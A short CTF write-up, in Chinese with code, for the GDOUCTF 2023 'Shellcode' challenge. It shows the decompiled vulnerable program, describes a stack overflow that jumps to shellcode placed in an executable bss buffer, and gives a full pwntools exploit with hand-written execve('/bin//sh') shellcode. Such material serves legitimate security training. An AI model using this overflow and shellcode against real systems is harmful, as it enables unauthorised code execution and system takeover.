Post

[GDOUCTF 2023] Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Please.");
  read(0, &name, 37uLL);                        // bss
  puts("Nice to meet you.");
  puts("Let's start!");
  read(0, buf, 0x40uLL);		//溢出点
  return 0;
}

程序逻辑:

  1. 第一个read()接收数据并保存到位于bss段上的name
  2. 第二个read()接受数据并保存到栈上buf变量

利用思路:

  1. 利用第一个read()往栈上写入shellcode
  2. 利用第二个read()溢出跳转到&name调用shellcode完成利用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = gdb.debug('./ezshellcode')
name_addr = 0x6010a0
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
io.sendlineafter(b'Please.',asm(shellcode))
io.sendlineafter(b'start!',b'A'*18+p64(name_addr))

io.interactive()

tips:

第一段输入的shellcode被限制在32字节之内,所以不能用pwntools自带的shellcode生成器,需要找一个更短的shellcode

This post is licensed under CC BY 4.0 by the author.